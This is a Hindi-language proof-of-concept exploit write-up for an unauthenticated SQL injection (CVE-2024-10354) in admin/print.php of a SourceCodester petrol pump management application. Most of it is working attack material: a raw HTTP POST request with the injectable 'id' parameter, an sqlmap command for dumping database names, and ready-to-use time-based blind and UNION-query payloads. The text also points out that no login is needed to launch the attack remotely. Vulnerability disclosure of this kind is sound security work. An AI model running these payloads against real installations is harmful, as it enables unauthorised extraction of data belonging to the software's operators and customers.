
CVE-2024-10354 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट: SourceCodester Petrol Pump Management Software v1.0 में SQL इंजेक्शन। admin/print.php के माध्यम से बिना प्रमाणीकरण के टाइम-बेस्ड ब्लाइंड और UNION क्वेरी इंजेक्शन का प्रदर्शन करता है, जिससे डेटाबेस की सामग्री निकाली जा सकती है।
पेट्रोल पंप प्रबंधन सॉफ्टवेयर मुफ्त डाउनलोड | SourceCodester
sourcecodester के पेट्रोल पंप प्रबंधन सॉफ्टवेयर v1.0 में SQL इंजेक्शन भेद्यता। एक ऐसी भेद्यता पाई गई है जिसे उच्च जोखिम वाली श्रेणी में रखा गया है, जो admin\print.php फ़ाइल की कुछ अज्ञात कार्यक्षमता को प्रभावित करती है। इसके माध्यम से parameter id का उपयोग करके दुर्भावनापूर्ण SQL स्टेटमेंट बनाकर संवेदनशील जानकारी प्राप्त की जा सकती है, जिससे हानि होती है।
admin\print.php

यहाँ, उपयोगकर्ता इनपुट $_POST['id'] को SQL क्वेरी स्टेटमेंट में जोड़ा जा रहा है, जो स्पष्ट रूप से SQL इंजेक्शन हमलों के लिए संवेदनशील है।

POST /admin/print.php HTTP/1.1
Host: 10.151.167.168:6677
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie:
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
id=1*
पैकेट को सहेजें और sqlmap से हमला करें
payload:
python3 sqlmap.py --random-agent --batch -r data.txt --risk 3 --dbs

---
Parameter: #1* ((custom) POST)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: id=1' AND (SELECT 8405 FROM (SELECT(SLEEP(5)))RBvx) AND 'WWQR'='WWQR
Type: UNION query
Title: Generic UNION query (NULL) - 16 columns
Payload: id=1' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,CONCAT(0x7171706271,0x744d4a644a516944425443614f4c594948754b4a746356615251435951444f72597a74534274424a,0x71706a7071),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- -
---
पैकेट को देखें, मैंने कोई cookie मान नहीं जोड़ा, जो दर्शाता है कि कोई प्रमाणीकरण नहीं है, अतः बिना लॉगिन किए दूरस्थ रूप से हमले शुरू किए जा सकते हैं।
आप देख सकते हैं कि यह payload दो इंजेक्शन विधियों का उपयोग करता है — time-based blind और UNION query — और डेटाबेस का नाम सफलतापूर्वक इंजेक्ट कर लेता है।